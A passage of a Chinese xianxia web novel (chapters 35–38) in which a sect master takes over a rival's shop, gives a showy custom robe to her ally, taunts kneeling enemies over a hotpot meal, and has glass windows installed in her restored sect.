云见月一步踏前,轻轻拍了拍郁仙的肩膀,冲她点了点头。 楚凌风已经在崩溃的边缘,以免他狗急跳墙,现下作罢是最好的时机。 郁仙得到师尊的暗示,也没有过多纠结,心念一动,收起了藤蔓。 没了支撑,郁姝像一摊烂泥般瘫在肮脏的地面上,身体因残余的痒意和剧痛而间歇性抽搐,发出断断续续的、如同破风箱般的呜咽。 楚凌风急切的就要过去把郁姝抱进怀里,却被云见月凉凉的声音打断。 “楚少主,胜负已分,霓裳阁的地契、房契、库房钥匙、账册......现在该兑现了。” 第35章 “花仙子”终于做好,成品惊艳绝伦 楚凌风在众目睽睽之下,骑虎难下。 赖账?青云剑宗的名声就彻底臭了,将沦为修真界的笑柄。 而且看云见月这个贱人的架势,也不可能善罢甘休。 他有再多不甘都得打落牙齿和血吞,几乎是从牙缝里挤出命令,对旁边早已吓得面无人色的掌柜嘶吼道:“去拿给她!” 交接的过程对于楚凌风来说充满了屈辱。 接下来还有更屈辱的。 云见月当场宣布,霓裳阁所有法衣全部半价出售。 此言一出,场面一度失控。 “给我来一套,不,两套。” “还有我,我也要两套。” 楚凌风眼睁睁的看着自家店里的法衣被疯抢,灵石全部进了云见月的口袋。 楚凌风只觉得眼前一黑,气血翻涌,喉头一甜,差点一口血喷出来。 他死死攥着拳头,指甲深陷掌心,用尽全身力气才压下当场暴走的冲动。 他眼中闪过一丝狠厉:“云见月,你等着,我会让你把吃进去的,加倍吐出来!” 他撂下狠话,带着被打成猪头、气息奄奄的郁姝,以及垂头丧气、如丧考妣的萧凡,御剑冲上天空,那背影狼狈得如同丧家之犬。 郁仙仰头看着他们消失在天空的背影,担忧的问:“师尊,我是不是给你闯祸了?” 云见月摸着她的头安抚:“我与楚凌风早就势如水火,你不是给为师闯祸,你是给为师长脸了。” 郁仙突然小声说:“可是,我刚才用了毒粉,师尊不会觉得我很坏吗?” 云见月帮她擦掉脸上的灰尘,“对付坏人,不用讲规矩。你做得很好,师尊为你骄傲。” 她从储物袋里拿出颗糖塞给郁仙,“这是奖励。” 郁仙惊喜的剥开糖纸,甜味在舌尖蔓延,心里的最后一点不安也消失了。 霓裳阁的法衣转眼就卖的一干二净,云见月看着空空荡荡的店面,满意的宣布:“以后,这就是咱们玄天宗的产业了,等玻璃量产,就放这里卖,这霓裳阁的名字也得改。” 云见月想了想,眼睛一亮,“叫琉璃阁,怎么样?” 郁仙笑弯了眼睛,“好。” 她越来越崇拜师尊了,不费吹灰之力,就坑了青云剑宗的一处产业。 二师兄炼制的玻璃那么好,一经推出,必然会大受欢迎。 届时,他们就有花不完的灵石,再也不是外人口中的破落户了。 云见月关了霓裳阁的门,带着郁仙转身走进对面的云织坊。 门口那场闹剧,云织坊的伙计可是从头到尾看了个真切。 此刻见云见月师徒进来,他脸上的笑容简直比外面的阳光还要灿烂,热情地迎了上来: “仙子您刚才可真是太霸气了,看得我热血沸腾,解气,太解气了。” 云见月心情不错的笑道:“还要谢谢你刚才带头声援。” 伙计连忙摆手:“哎哟,仙子您客气了,青云剑宗那帮人,仗着是第一大宗门,平日里在坊市作威作福,鼻孔朝天,我们没少受他们的气,今天可算是看到他们栽了大跟头了,痛快。” 两人闲聊了几句,云见月步入正题:“我订制的那件衣服,可做好了?” “做好了,做好了。”伙计激动地竖起大拇指,“仙子,我跟你讲,那件衣服,做出来是这个,简直绝了。” “您稍等,我这就给您取来。” 伙计转身快步走进内堂,不多时,捧着一个精致的锦盒出来,小心翼翼地打开。 “仙子您瞧。” 当他将法衣轻轻抖开,悬挂在特制的衣架上时,整个云织坊仿佛都亮堂了几分。 衣服是用极品灵蚕丝织就,薄如蝉翼,在光照下流转着七彩霞光,宛如将彩虹揉碎了织进布料里。 领口和袖口绣着层层叠叠的曼珠沙华,金线勾勒的花瓣边缘泛着微光。 层层叠叠、栩栩如生的繁花,从领口一直延伸至下摆,并非俗气的堆砌,而是仿佛将整个春日花园最鲜活灵动的部分裁剪了下来。 裙摆更是惊艳,精心设计了多层渐变纱,行走间如同花瓣随风摇曳,流光溢彩。 这件法衣完美融合了仙气、华贵与灵动。 它静静地悬挂在那里,便已是夺目的艺术品,让人移不开眼,可以想象,当它被穿上身,随着主人的动作,那浮光流淌的光华与繁花盛放的姿态交相辉映,该是何等惊心动魄的美。 伙计在一旁看得痴迷,由衷赞叹:“仙子,当初您拿出图纸时,我就被惊艳得不行。 可万万没想到,成品竟能美到这种地步,这在整个修真界,绝对是独一份。 太美了,真的太美了,我敢说,哪怕只有五分颜色的女子穿上它,也能衬出八分的神韵来。” 云见月看着衣服,也忍不住点头,确实远超预期。 用修真界的料子做出来,竟比原版还要惊艳几分。 只是当听到伙计提到“女子”二字,她忍不住抿唇轻笑,眼中闪过一丝促狭。 那位祖宗可比多数女子还要漂亮,这衣服拿回去,不知道他会是嫌弃地撇嘴,还是暗戳戳地高兴成什么样呢?她有点期待了。 连小小的郁仙都看呆了,她忍不住伸出小手摸上去,布料冰凉光滑,触感如同流水般细腻,她小声感叹: “师尊,这衣服真漂亮,虞美人穿上一定很好看。” “是啊。”云见月笑着将衣服收进储物袋,“这么美的衣服,恐怕也只有他那张脸和气质,才能压得住了。” 收好衣服,云见月问伙计:“手工费多少灵石?” 伙计连忙摆手,脸上堆满了期待的笑容:“仙子,灵石好说,若是……若是您还有像这般惊艳绝伦的衣服样式,愿意交给我们云织坊来做的话,这次的手工费,我们分文不取,您看……?” 云见月挑眉,这伙计倒是精明,也很有商业头脑。 既然打算和合欢宗结盟,卖他们个好也无妨。 赚钱的路子多的是,她并不打算自己开成衣铺,把前世那些惊艳的设计送给云织坊,反倒能结个善缘。 “还真被你猜中了。”云见月微微一笑,手腕一翻,早已准备好的厚厚一沓设计图纸出现在手中。 这次不是某位女星的红毯礼服,而是上辈子那部爆火仙侠剧里的造型。 那部剧里女主的每套衣服都堪称经典,即便后来仙侠剧流行“丧葬风”,也没能超越它的妆造。 “我这里,还有不少。” 伙计接过图纸,一张一张翻看,眼睛越睁越大,到最后几乎要从眼眶里凸出来,激动得手都在抖。 图纸上的服饰,尽是广袖流云、清冷如月的谪仙装,每一套都构思精巧,细节满满,充满了想象力和视觉冲击力。 与当下修真界流行的或朴素或单一的服饰风格相比,简直是降维打击。 “美……太美了,每一套都这么美!”他激动得声音都在发颤,“仙子,这些……这些真的都给我们做?” “还满意吗?”云见月笑着问。 “满意!太满意了!”伙计连连点头,生怕她反悔,“仙子放心,我们一定用心做,到时候利润我们四六分,您六,我们四。” 看在他如此诚恳的份上,云见月也懒得计较那一分利:“五五就好。” “仙子大气。”伙计喜出望外,连忙应下。 云织坊的事情圆满解决,云见月心情愉悦地带着郁仙在坊市逛了一圈,买了许多新鲜蔬菜,还买了些灵羊肉。 郁仙见状,问道:“师尊,咱们厨房还有很多菜,为什么又买了这么多?” 云见月刮了她的小鼻子一下,“今晚,师尊给你们做好吃的。” 一听有好吃的,郁仙咽了口唾沫,“什么好吃的?” “到时候,你就知道了。” 采购结束,她们回到了玄天宗。 可刚到山门外,两人都愣住了。 只见一大群人跪在地上,黑压压的一片,竟有四五十人之多。 没错,是跪着! 跪在最前面那两个身影,不是老熟人苏心瑶和林思思又是谁? 她们身后的人,清一色天元宗的宗门服饰,修为气息都不弱,目测至少都是金丹期以上的强者。 这阵仗,是闹哪出? 云见月拉着郁仙的小手,一脸懵圈地从这群人身边走过,最后在苏心瑶面前站定,故作惊讶地开口: “哟,这不是苏大小姐吗?还有这么多天元宗的道友?这不年不节的,怎么还给我们玄天宗行此三跪九叩的大礼啊?真是让我受宠若惊。” 苏心瑶本就憋了一肚子火,听到这话,气得差点七窍生烟,胸口剧烈起伏,恨不得冲上去撕烂云见月的嘴。 可头顶那股强大的威压如同泰山压顶,让她连抬头的力气都没有,只能咬着牙,从牙缝里挤出嘶哑的声音: “云见月,你这个贱人,少在这里说风凉话,赶快命令你的人把威压撤掉,否则……否则我定要你好看。” 哦?原来是被人用威压强行摁在地上跪着的啊。 她就说嘛,以苏心瑶和林思思那嚣张跋扈的性子,怎么可能心甘情愿下跪。 看来是踢到玄天宗里某位祖宗的铁板了。 不过,这几十号人气势汹汹地跑到玄天宗山门前,显然不是来串门的。 她收起玩笑的神色,语气平淡地问:“说吧,你们来我玄天宗,到底想做什么?” 第36章 虞青焰口嫌体正直,就是一个傲娇的花孔雀 苏心瑶被云见月问得一噎,随即又梗着脖子蛮不讲理道:“我们想去哪去哪,你管得着吗?” 云见月脸上带着玩味的笑,气定神闲道:“你带着几十个金丹期修士,杀气腾腾地擅闯我玄天宗地界,你们天元宗是想灭门呢,还是想打劫?” “你……你血口喷人。”苏心瑶被戳中心思,色厉内荏地尖叫,“我们只是……只是路过,对,路过而已。” “路过?”云见月嗤笑一声,“你这路过的姿势,可真够别致的。” 她不再理会苏心瑶,拉着郁仙的小手,踏入了玄天宗的山门。 “云见月,你给我回来,撤掉威压,听到没有——”苏心瑶嘶喊着,但云见月没有回头,任由他们一众人在外面继续跪着。 宗门内的景象已与三日前截然不同。 合欢宗的工程队效率极高,原本破败的殿宇已被修缮一新,露出了古朴庄重的轮廓,虽未完全竣工,但已显露出欣欣向荣的景象。 虞青焰正躺在庭院里的摇椅上,一身五彩斑斓的衣袍在夕阳下流淌着光泽,衬得他肌肤胜雪,俊美得有些妖异。 他指尖把玩着折扇,姿态闲适得像只晒太阳的猫。 云见月走过去问,“宗门外跪着的那群人,是你做的?” 虞青焰抬了抬眼皮,懒洋洋地应道:“嗯,我正晒着太阳,被他们吵得心烦,顺手就摁地上了。” 语气平淡得如同掸了掸衣袖上的灰尘。 他瞥了云见月一眼,漂亮的桃花眼里满是嫌弃:“你招惹的都是些什么阿猫阿狗?本座动手清理她们,未免大材小用了。” 云见月以为他是嫌她给他添麻烦。 结果下一秒,就听他说:“下次能不能招惹些实力过得去的?至少也要大乘期才够看。” 大乘期? 据她所知下域根本没人能达到…...这厮到底是什么怪物。 原剧情中,一直没有交代虞青焰的修为,但他是楚凌风在凡间界最后一个对手,杀了他后,不久就得道飞升了。 如此看来,这厮最低也是大乘期,听他那口气,渡劫期也有可能。 如果真是这样,她可真是捡到宝了。 “是是是,辛苦你了。”云见月笑着,从储物袋里取出锦盒,“喏,给你的。” “什么东西?”虞青焰挑眉。 “你的新战袍,特意为你定制的,整个修真界独一份,找不出第二件。”云见月故意吊他胃口。 虞青焰闻言,眼中掠过一丝极淡的兴味,但嘴上依旧嫌弃:“战袍?要是不好看,我可不要。” 话虽如此,他还是伸手接过了锦盒。 他慢条斯理地打开盒盖,刹那间,夕阳仿佛找到了最完美的载体,极品灵蚕丝流淌的七彩光晕与繁复精美的百花在余晖下轰然绽放,华美、灵动、仙气逼人,惊心动魄。 饶是见多识广、眼界挑剔的虞青焰,呼吸似乎都停滞了一瞬。 但他立刻别过脸,用更嫌弃的语气掩饰:“啧,蚕丝?俗气。这花绣得跟菜园子搬上来似的,云见月,你的审美真是……令人堪忧。” 然而,他那修长如玉、骨节分明的手指,却像是不受控制般,带着一丝流连的意味,轻轻抚上了锦盒中那冰凉滑腻、光华流转的衣料。 云见月憋着笑,故意伸手去拿锦盒:“哦?嫌弃啊?那算了,看来这俗气的美只有合欢宗的花影师兄能欣赏了,我拿去给他看看……” 话音未落,虞青焰“啪”地一声盖上了盒盖。 他冷哼一声,“送出去的东西还想收回?我勉为其难收下,省得你拿去被人拒绝,躲起来哭鼻子。” 说完,他抱着锦盒转身就走,步伐看似从容,背影却透着一丝不易察觉的急切,连衣摆都晃得比平时快了几分。 郁仙捂着小嘴偷笑:“师尊,他就是死鸭子嘴硬。” 云见月也忍俊不禁,连连点头:“男人,尤其是漂亮男人,你懂的。” 郁仙用力点头,小脸上满是“我懂”的表情。 不消片刻,虞青焰换好衣服走了出来。 那一瞬间,仿佛天地都为之失色。 层层叠叠的纱裙在他身上流转着七彩霞光,装点上去的繁花仿佛活了过来,随着他的动作轻轻摇曳。 百花非但没有喧宾夺主,反而将他本就完美无瑕的身形衬托得更加挺拔修长,那艳丽的色彩与他妖异俊美的容颜奇异地融合,非但不显女气,反而生出一种睥睨众生的、雌雄莫辨的极致风华。 云见月和郁仙都看呆了,一时间竟找不到任何词语来形容。 虞青焰对她们的反应非常满意,唇角勾起一丝微不可查的弧度,下巴抬得更高了,活像一只开屏的绝世花孔雀,傲娇之气溢于言表。 他刻意放慢了脚步,姿态优雅地踱步到正在指挥修缮的花影附近。 那些忙碌的合欢宗弟子们,无论男女,在看清虞青焰的瞬间,都如同被施了定身咒,手里的工具“哐当”掉地,眼睛瞪得溜圆,完全忘记了手头的工作,只剩下满眼的惊艳和呆滞。 虞青焰到花影身侧,故意咳嗽一声,顺利引起了对方的注意。 花影看到他这身衣服,眼睛瞬间亮了。 这做工,这设计,简直太适合他了,啊啊啊,好好看,好想要。 但当他注意到虞青焰那一脸“快夸我,快羡慕我”的表情时,又把到嘴的赞美咽了回去。 虞青焰见他没反应,抬手状似随意地拂过衣袖上栩栩如生的绣纹,语气带着一种刻意的漫不经心: “云见月送的,非塞给我。说什么修真界仅此一件,推都推不掉,真是麻烦。” 他那模样就差把“独一无二”刻在脑门上了。 花影嘴角微不可查地抽搐了一下,强压下翻白眼的冲动,移开目光,语气酸溜溜的: “呵,衣服是不错,可惜啊,明珠暗投,穿在某人身上,真是糟蹋了这绝世好料。” 虞青焰故意凑近一步,那身流光溢彩几乎要闪瞎花影的眼,“羡慕了?” “谁羡慕了?”花影像被踩了尾巴的猫,立刻反驳。 “你,就是你。”虞青焰语气十分欠揍。 “笑话!”花影唰地打开扇子,用力扇了两下,“我花影的美貌与魅力,在整个修真界可都是名列前茅,我穿什么都好看,用得着羡慕你?” “名列前茅?”虞青焰抓住关键词,漂亮的桃花眼弯起,“意思就是你不是第一名喽?” 花影:“......” “啧啧,我乃修真界第一美男都没骄傲,你一个‘名列前茅’的,也好意思拿出来炫耀?” 他顿了顿,目光在花影那身虽然精致但相比之下略显“朴素”的衣衫上扫过,补上致命一刀: “再说了,你穿什么都好看,但你没有我这件衣服。” 花影被气得额头青筋直跳,扇子扇得呼呼作响,差点没忍住动手。 云见月在一旁看得嘴角直抽抽,额头仿佛挂下三条黑线。 这两个幼稚鬼,她这里不是比美大赛的舞台,真叫人无语。 她懒得再看这两个“花孔雀”斗嘴,果断转身走向厨房。 五个小萝卜头见状,立刻屁颠屁颠地跟上。 “师尊师尊,今晚咱们吃什么好吃的呀?”苏渺渺抱着云见月的腿,仰着小脸,大眼睛亮晶晶地问。 郁仙也充满了期待。 云见月挽起袖子,神秘一笑:“今天,咱们吃,火、锅!” “火锅?”江迷雾一脸茫然,“那是什么锅?会喷火的锅吗?” 其他几个孩子也围上来,七嘴八舌地问:“是啊师尊,火锅是什么?” “好吃吗?” “怎么吃啊?” 云见月一边指挥孩子们洗菜、择菜,一边绘声绘色地解释:“火锅啊,就是一种特别热闹、特别好吃的吃法,咱们用一口锅,里面放上熬好的、香喷喷的汤底,然后呢,把各种洗干净的菜,想吃什么,就夹起来放进滚烫的汤里涮一涮,熟了就能吃了。” 她描述着那热气腾腾、香气四溢、自涮自吃的场景,听得孩子们口水都快流出来了,一个个眼睛发亮,觉得新奇又有趣极了。 在孩子们的欢声笑语和积极帮忙下,洗菜、择菜、切肉,很快就完成了。 各种新鲜的食材琳琅满目地摆满了几个大盘子。 云见月看着准备好的食材,再看看山门的方向,眼中闪过一丝狡黠的光。 她没有在厨房里支锅,而是吭哧吭哧地把大锅搬到了玄天宗的山门外。 就支在离跪着的苏心瑶、林思思等人不远的地方。 云见月亲自调制了浓郁喷香的牛油锅底,红亮的牛油在滚沸的汤中翻滚,各种香料在高温下释放出霸道无比的辛香,这香气蛮横地撕裂空气,瞬间弥漫开来,霸道地钻进每一个人的鼻腔,飘出去老远。 “开饭啦——”云见月招呼一声。 所有人,包括施工完的合欢宗人在内,全部围坐到大锅旁。 云见月示范性地夹起一片薄如纸、红白相间的灵羊肉片,在翻滚的红汤中轻轻一涮。 肉片瞬间变色卷曲,散发出更加诱人的肉香。 她将烫熟的羊肉在蘸料碗里滚一圈,然后送入口中,满足地眯起眼:“唔……鲜!嫩!香!过瘾!” 孩子们有样学样,纷纷下筷。 灵蔬的清甜、蘑菇的鲜美、尤其是那涮得恰到好处的灵羊肉片,蘸上香浓的酱料,入口的瞬间,各种美妙的滋味在舌尖炸开。 从未体验过的味道刺激着味蕾,让他们一边嘶嘶吸气喊着“好烫好烫”,一边又忍不住飞快地伸筷子去捞下一片,吃得小脸通红,额头冒汗,不亦乐乎。 连虞青焰和花影,在尝试了一口之后,也暂时放下了“恩怨”,被这新奇又霸道的美味征服,动作优雅却速度不慢地加入抢食大军。 一时间,山门外只剩下火锅咕嘟咕嘟的沸腾声、众人满足的咀嚼声和吸溜声,以及……更加清晰响亮的、此起彼伏的肚子咕噜声。 跪了整整半天,早已饥肠辘辘的苏心瑶、林思思以及天元宗众弟子,眼睁睁地看着仇敌们在面前大快朵颐,那从未闻过的、霸道浓烈的鲜香如同无数只小手,疯狂地挠着他们的胃和心。 口水不受控制地分泌,肚子咕噜噜叫得震天响。 苏心瑶死死咬着下唇,试图抵抗那香气的诱惑,可那香味无孔不入,折磨着她的神经。 云见月端着碗,慢悠悠地踱步到苏心瑶面前蹲下。 碗里是几片刚涮好的、还冒着热气、裹着诱人酱汁的灵羊肉片。 她用筷子夹起一片,特意在苏心瑶眼前晃了晃,然后凑到唇边,轻轻吹了吹气。 那混合着肉香、油脂香和麻辣辛香的蒸汽,精准地扑在苏心瑶脸上。 “想吃吗?”云见月的声音带着恶魔般的诱惑。 苏心瑶的喉结剧烈地滚动了一下,眼睛不受控制地盯着那片油亮诱人的肉片。 她饿得前胸贴后背,那香味简直是她从未体验过的极致诱惑。 她下意识地抿了抿干裂的嘴唇,一丝渴望不受控制地从眼底泄露出来,嘴巴也微微张开。 云见月看着她这副模样,筷子夹着那片肉,缓缓地向苏心瑶微张的嘴边递去…… 苏心瑶身体甚至不由自主地前倾了一点点。 就在那片肉即将触碰到她嘴唇的刹那。 云见月的手腕猛地一拐,那片鲜嫩多汁、香气四溢的羊肉,瞬间转了个弯,稳稳地落入了她自己的口中。 “唔……”云见月故意发出满足至极的叹息,细细咀嚼着,眯起眼睛,“好香,好嫩,这灵羊肉,涮火锅真是绝配啊。” 苏心瑶:“……” 她气得差点晕过去,偏偏又被威压压着动弹不得,只能眼睁睁看着云见月和那群小崽子吃得津津有味,自己却连一口汤都喝不上。 第37章 郁仙限你三日内滚回药仙谷,否则后果自负 合欢宗的修士们看得目瞪口呆,手里的筷子都忘了动。 他们见过宗门之间明刀明枪的厮杀,也见过暗地里下绊子的阴私,却从没见过这般“杀人诛心”的操作。 云见月蹲着,苏心瑶跪着;云见月吃着,苏心瑶看着。 这无声的炫耀,简直是精神层面的凌迟,比挨一顿打还难受。 “这也太损了吧?”合欢宗一个年轻弟子忍不住小声嘀咕。 旁边的人干咳一声:“嘘……别乱说,云宗主明明是好心请他们吃火锅,是天元宗不领情,还给云宗主脸色看。” 所有人:你是懂得说话的艺术的。 更让他们咋舌的还在后面。 只见那五个小萝卜头,一个个有样学样,纷纷端着自己的小碗,迈着小短腿,雄赳赳气昂昂地跑到了其他跪着的天元宗弟子面前。 苏渺渺夹起一片裹满红油的灵羊肉,对着林思思的脸轻轻吹气,肉香混着热气直往对方鼻子里钻,然后“啊呜”一口吞进嘴里,含糊不清地说:“好香呀,你闻不到吗?” 江迷雾学着云见月的样子,蹲在一个天元宗修士面前,夹起一块灵菇慢慢嚼,边嚼边点头:“师尊说这个补灵力,可惜你吃不到。” 萧星尘和鹿闻声虽然没说话,但那“夹起-吹气-吃掉”的动作一气呵成,眼神里的“无辜”比任何嘲讽都更伤人。 郁仙则端着碗站在最边上,看着曾经欺辱过自己的苏心瑶和林思思,嘴角勾起一抹淡淡的、属于胜利者的微笑。 合欢宗众人:“……” 见过坏的,没见过这么组团“坏”的。 果然是有什么样的师尊,就有什么样的徒弟,这就是所谓的言传身教吗? 这师徒六人,简直是气死人不偿命的典范。 一顿酣畅淋漓、香气四溢的火锅下来,除了被折磨得精神肉体双重崩溃的天元宗众人,玄天宗这边和合欢宗弟子们,个个吃得肚皮滚圆,心满意足。 夕阳西下,合欢宗今日的工程告一段落,准备打道回府。 临行前,花影那双潋滟的狐狸眼就没离开过虞青焰身上那件流光溢彩的百花霓裳。 他深吸一口气,像是下定了某种决心,扭着腰肢,风情万种却又带着点急切地凑到了云见月身边。 “云师妹~”花影的声音刻意放软了几个调,带着钩子似的。 他伸出修长的手指,轻轻拉了拉云见月的衣袖,那姿态,竟有几分像撒娇的大金毛。 云见月疑惑地回头:“花师兄还有事?” 花影眨了眨他那双电力十足的眼睛,努力做出最无辜、最讨喜的表情。 虽然在一个成年男子脸上做这表情有点违和,但由他做来,竟奇异地不显做作,反而有种别样的可爱。 “云师妹,虞青焰身上那件衣服,真是你送给他的?” 云见月点头,“是呀,怎么了?” 花影拉着云见月手臂的力道又重了几分,声音甜得能齁死人:“我也想要~” 这猛男撒娇的威力,饶是云见月也有点招架不住。 她嘴角抽了抽,为难道:“花师兄,这个……真不好意思。那件衣服仅此一件,我答应过虞青焰,这是独一份的。” 花影不依不饶,抱着云见月的手臂晃得更起劲了,“人家真的好喜欢,你看我这衣服款式都旧了,好不好嘛?求求你啦云师妹~” 他拖长了尾音,语气又软又糯,配上那张俊美非凡的脸,杀伤力巨大。 两人这“你侬我侬”、“拉拉扯扯”的样子,分毫不差地落入了不远处抱胸倚在一棵古树上的虞青焰眼中。 虞青焰冷哼一声,故意清了清嗓子,用力地咳嗽了一声:“咳!” 声音不大,却清晰地传入云见月和花影耳中。 云见月循声望去,正好对上虞青焰投来的视线。 那眼神冷飕飕的,明明白白地写着:你敢答应他试试?敢给他做一模一样的,我可就生气了。 云见月顿感一个头两个大。 云见月被花影缠得没办法,只好向旁边的合欢宗弟子投去求救的目光。 谁知那些弟子纷纷别过脸,假装看风景。 开玩笑,他们花师兄为了漂亮衣服,什么撒娇耍赖的招没使过?谁掺和谁倒霉。 云见月实在没辙了,只好说道:“过几天,你可以去云织坊看看。那件衣服就是我拿图纸让云织坊做的,我还给了伙计好几张其他样式的图纸,大概过两三天就能做出来了。” 花影眼睛瞬间迸发出难以置信的光芒——云织坊?那不是他们合欢宗自家的产业吗? 天啊,他居然错过了这么绝美的图纸,云师妹简直就是他的宝藏。 “小月月,你真好。”他立刻眉开眼笑,也不撒娇了,兴冲冲地招呼弟子们,“走,咱们回宗门。” 目送合欢宗的人消失在视野里,云见月刚松了口气,就听到旁边传来一个刻意阴阳怪气的声音: “小~月~月~你~真~是~太~好~了~” 云见月头皮一麻,无语地看着他:“虞青焰,你是不是闲的?” 虞青焰冷哼一声,下巴微抬,语气酸溜溜的:“哼,你就宠他吧。” 说完,也不等云见月反驳,广袖一甩,带着点被惹恼的小脾气,化作虹影飞走了,留下云见月一个人在晚风中凌乱。 我宠花影??? 拜托!我送衣服的是谁?我顺着毛捋的是谁?明明是你这只傲娇又小心眼的绝世花孔雀好吗。 夜色如墨。 苏心瑶和一众天元宗弟子,在威压解除后,狼狈不堪地逃回了天元宗。 一进宗门,苏心瑶便扑到父亲怀里,哭得梨花带雨的控诉云见月的“恶行”。 天元宗宗主本就护短,看到爱女如此狼狈凄惨,再听她添油加醋的哭诉,顿时勃然大怒。 玄天宗?一个早已破落得只剩大猫小猫两三只的宗门,竟敢如此折辱他的女儿和精英弟子,这简直是骑在天元宗头上拉屎,若不雷霆反击,天元宗还有何颜面在修真界立足? “岂有此理!欺人太甚!”他一掌拍碎了身前的紫檀木桌,怒吼道,“来人——” 深夜,月黑风高。 一位化神期长老率领着三十名杀气腾腾的精锐弟子,如同鬼魅悄无声息地靠近玄天宗。 他们手持法器法宝,准备发动一场无声的雷霆突袭,将玄天宗彻底从修真界抹去。 寝殿内,虞青焰揉了揉惺忪的睡眼,语气慵懒:“扰人清梦,该罚。” 他甚至没有起身,只是对着水镜中倒映出的人影,屈指,轻轻一弹。 一股无形无质、却又磅礴到令人灵魂战栗的神念波动,如同水纹般瞬间扩散开来,精准地覆盖了所有闯入者。 正准备祭出法宝、掐动法诀的天元宗弟子,身体猛地一僵。 他们眼中的杀气瞬间凝固、褪去,变得空洞、茫然,仿佛被抽走了神智。 他们如同被无形的丝线操控的木偶,整齐划一地、机械地……开始打扫卫生。 有人捡起地上的枯枝落叶,动作僵硬却一丝不苟。 有人掏出自己的本命剑,不是用来杀人,而是小心翼翼地刮掉石阶上的青苔。 有人凝聚水系法术,认真地冲洗地面。 还有人甚至从储物袋里拿出了符箓,当做抹布开始擦拭殿宇。 三十多个本该来屠宗灭门的高手,此刻化身最勤恳的清洁工,在玄天宗内无声地忙碌起来,场面诡异到了极点。 同一时间,青云剑宗。 楚凌风在静室里疯狂砸着东西,修炼了半夜也无法静心。 白天在云见月面前受辱的画面一遍遍在脑海里回放,尤其是想到自己亲手把霓裳阁送给对方,就气得心口发疼。 他从未受过如此奇耻大辱,这口气,他咽不下去。 “云见月,你给我等着。”他低吼道,眼底满是阴鸷,“一个月后的灵墟秘境,我定要让你求生不得,求死不能!” 另一边,郁姝的居所内。 她看着镜中自己那张被郁仙扇得红肿青紫、几乎面目全非的脸,眼中充满了怨毒和疯狂。 “贱人,都是贱人,啊啊啊——”她一怒之下砸了镜子,把梳妆台上所有的东西都扫落在地。 “我不服,我从小被精心培养,又是第一大宗门少宗主的亲传弟子,我凭什么比不过郁仙那个从乡下找回来的野种。” “郁仙,我要让你死——” 她好一番发泄后,拿出传讯玉简,将白天发生的事情,添油加醋地告知爹娘和哥哥。 同时,她还拿出留影石,将自己此刻凄惨狼狈的样子清晰地记录下来,一并传送了出去。 药仙谷。 “岂有此理!岂有此理!”一个面容儒雅、此刻却扭曲狰狞的中年男子,看着留影石中投射出的女儿那张惨不忍睹的脸,气得浑身发抖,“郁仙那个孽障,她怎么敢如此伤害姝儿。” 旁边一位风韵犹存的美妇,更是直接心疼到哭泣:“我的姝儿啊,我可怜的宝贝女儿,怎么就被伤成了这样,她该有多疼。 郁仙这个白眼狼,怎么如此狠心的伤害自己的姐姐,夫君你要为姝儿做主啊。” 郁姝的大哥也是目眦欲裂,杀气腾腾。 “爹!娘!我们这就去把那小贱种抓回来,跪在列祖列宗面前受家法。” “还有那个包庇小贱种的什么玄天宗,一并踏平。” 郁父强压怒火,眼神阴鸷,他立刻拿出传讯玉简,将满腔的怒火灌注其中,直接传送给了郁仙。 【孽障,限你三日内滚回药仙谷,否则后果自负。】 正准备躺下睡觉的郁仙,感受到玉简传讯,她疑惑地拿起,当那些恶毒的字眼映入眼帘时,她的身体几不可查地僵了一下,指尖微微颤抖。 但很快,她深吸一口气,将玉简收起,眼底的波动渐渐平息。 这些人从来没有把她当家人,如今为了郁姝骂得这么难听,也在意料之中。 她抬头看向云见月的院落方向,嘴角慢慢扬起,她现在有师尊,有师兄师弟师妹,药仙谷些人的辱骂,再也伤不到她了。 第二天一早,云见月推开房门,顿时愣住了。 原本因连日修缮而堆积的建筑废料、碎石瓦砾、枯枝烂叶,一夜之间统统消失不见了。 地面像是被水洗过一样,光洁得能映出人影。 殿宇的廊柱、门窗、飞檐,都被擦拭得一尘不染,在晨光下闪烁着温润的光泽。 庭院里,原本顽强生长在石缝间的杂草,也被拔得一根不剩,露出了整洁的青石板。 石板缝隙里连一丝泥土都看不见,干净得如同被舔舐过一般。 整个玄天宗,从里到外彻底清洁了一遍,焕发出一种前所未有的清新与活力。 云见月难以置信地眨了眨眼,“这是……谁打扫的?” 第38章 安装上玻璃后,直接引爆了修真界 虞青焰倚在廊柱上,语气慵懒得像刚睡醒的猫:“还能有谁,天元宗的人。” “这真是天元宗的人干的?”云见月语气里满是怀疑。 天元宗昨晚刚被那般羞辱,不连夜杀回来就算克制了,怎么可能跑来当清洁工? 难道...... 似是想到什么,她问道:“你对他们做了什么?” 虞青焰打了个哈欠,“夜里他们扰人清梦,我就施法控制了他们的神识,让他们为宗门做点事,也算废物利用了。” 想象着那群趾高气扬、杀气腾腾杀过来想要给她点颜色看看的天元宗人,拿着扫帚抹布在玄天宗里扫地擦窗的场面,云见月一个没忍住,“噗嗤”一声笑了出来。 这会儿,想必那群人已经逃回天元宗了,指不定得气成什么样呢。 如云见月所料,天刚蒙蒙亮,虞青焰便收回了神识控制。 那些天元宗修士瞬间清醒,看到自己手里的工具和周围的环境,一个个跟见了鬼似的,拔腿就跑。 回到天元宗后,他们心有余悸地将昨晚的经历一五一十告知了宗主。 天元宗宗主听完,眉头紧锁,能悄无声息控制住一位化神期长老和三十名精锐弟子。 还让他们乖乖打扫卫生一整晚,玄天宗内必有大能坐镇。 可到底是谁呢?他一时想不通,却也不敢再贸然出手,决定先观察两天再说。 转眼三天过去。 这三天,玄天宗风平浪静,重建工程也终于迎来了最后的收尾。 当合欢宗的弟子们小心翼翼地将最后一块玻璃安装上时,整个玄天宗焕然一新,亮的惊人。 “天啊!” “这就是玻璃吗?” “好亮!好透!像没有东西一样!” “竟能如此透亮,连阳光都能毫无阻碍地透进来,屋子里也不像用油纸那么昏暗了。” 苏渺渺跑到窗边,指着玻璃外的景色:“哇!从里面看外面,和直接看一样清楚呢!” 合欢宗的弟子们和玄天宗的几个小萝卜头全都发出阵阵惊叹。 原本古朴厚重的殿宇,因为镶嵌了大面积的玻璃窗,瞬间变得通透明亮,充满了现代与古典交融的奇异美感。 阳光毫无阻碍地倾泻而入,殿内纤毫毕现,温暖而明亮。 从外面看,整座建筑在阳光下熠熠生辉,美得令人窒息。 虞青焰靠在门边,看似不屑一顾,嘴角却悄悄勾起一抹笑意,这破宗门,好像越来越像个家了。 